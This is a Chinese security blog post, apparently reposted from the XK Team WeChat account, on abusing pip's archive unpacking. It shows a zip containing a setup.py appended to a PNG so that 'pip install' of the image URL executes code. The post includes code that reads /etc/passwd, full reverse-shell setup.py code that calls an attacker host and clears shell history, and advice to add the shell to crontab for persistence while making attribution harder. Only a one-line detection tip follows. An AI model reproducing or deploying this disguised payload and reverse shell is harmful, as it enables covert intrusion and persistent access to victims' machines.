Part1代码剖析
我们根据说明解读下pip官方代码
https://github.com/pypa/pip/blob/d0051d3266ba11e7410a43a040dfd409af88a1db/src/pip/_internal/utils/unpacking.py#L229-L257
第229-233创建了一个函数 unpack_file 和三个参数
参数说明:
-
filename:一个字符串,表示要解压缩的文件名。
-
location:一个字符串,表示解压缩后文件的目标目录。
-
content_type:一个可选的字符串参数,表示文件的类型。
接着到第234行 filename = os.path.realpath(filename) 是将文件名转换为绝对路径
第235-240 则判断文件类型或者结尾是否为.zip类型的文件
第241-246则同理判断文件是否为.tar、.bz2、.xz类型文件
剩余247-257为抛出异常
总结:首先,将文件名转换为绝对路径。然后,根据文件的类型判断文件应该使用哪种方式进行解压缩,然后运行其中的setup.py文件即可。
Part2过程复现
是的你没有看错,利用pip install 一个图片竟然会触发命令执行,接下来我们跟着一步一步复现这个过程。
首先我们创建一个任意名字的文件夹,在文件夹里创建一个setup.py
然后在python文件里写入一下代码
f = open("/dev/tty", "w")
print(open("/etc/passwd").read(),file=f)
然后准备一张图片并把文件夹压缩成zip压缩包
利用以下命令就合并成一个图片了
copy /b 9.png + dx.zip 666.png
在本地使用python开启一个http环境,在linux上直接使用命令即可
pip3 install "http://xxx.xxx.x.xxx:xxxx/666.png"
实现我们上图的命令执行效果了
Part3实战利用
那么为了让他更体现实战价值你可以进行以下操作
首先我将内容改为如下命令
from setuptools import setup
import socket,subprocess,os
def con():
import socket, time,pty, os
host='xxx.xxx.xxx'
port=xxxx
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.settimeout(10)
s.connect((host,port))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
os.putenv("HISTFILE",'/dev/null')
pty.spawn("/bin/bash")
s.close()
con()
setup(name="root", version="1.0")
并上传到图床,复制地址
接下来执行命令,收到shell
当然 你也可以用来当作权限维持加入到计划任务中,是不是一定程度增加了红蓝对抗中溯源的难度
vim /etc/crontab
添加命令
收到shell
Part4后门排查
由于pip下载的python文件存放在/tmp/pip-xxxxx(不规则文件夹内),但python文件命名固定为setup.py,所以排查命令为
find /tmp/ -name setup.py
原文始发于微信公众号(XK Team):利用pip自解压进行命令执行操作
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论